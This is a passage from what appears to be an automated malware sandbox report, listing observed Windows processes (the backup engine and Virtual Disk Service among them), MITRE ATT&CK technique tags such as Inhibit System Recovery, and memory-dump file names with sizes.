- Suspicious use of AdjustPrivilegeToken
PID:1132

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:604

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:468

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1784

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

File Deletion

3

T1107

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

4

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/972-63-0x0000000000000000-mapping.dmp

Download
memory/1172-54-0x00000000002CB000-0x00000000002E2000-memory.dmp

Filesize
92KB

Download
memory/1172-55-0x00000000755A1000-0x00000000755A3000-memory.dmp

Filesize
8KB

Download
memory/1172-58-0x00000000002CB000-0x00000000002E2000-memory.dmp

Filesize
92KB

Download
memory/1172-59-0x00000000001B0000-0x00000000001D6000-memory.dmp

Filesize
152KB

Download
memory/1172-60-0x0000000000400000-0x0000000002FB1000-memory.dmp

Filesize
43.7MB

Download
memory/1476-57-0x0000000000000000-mapping.dmp

Download
memory/1504-64-0x0000000000000000-mapping.dmp

Download
memory/1504-65-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download
memory/1728-61-0x0000000000000000-mapping.dmp

Download
memory/1744-56-0x0000000000000000-mapping.dmp

Download
memory/1952-62-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads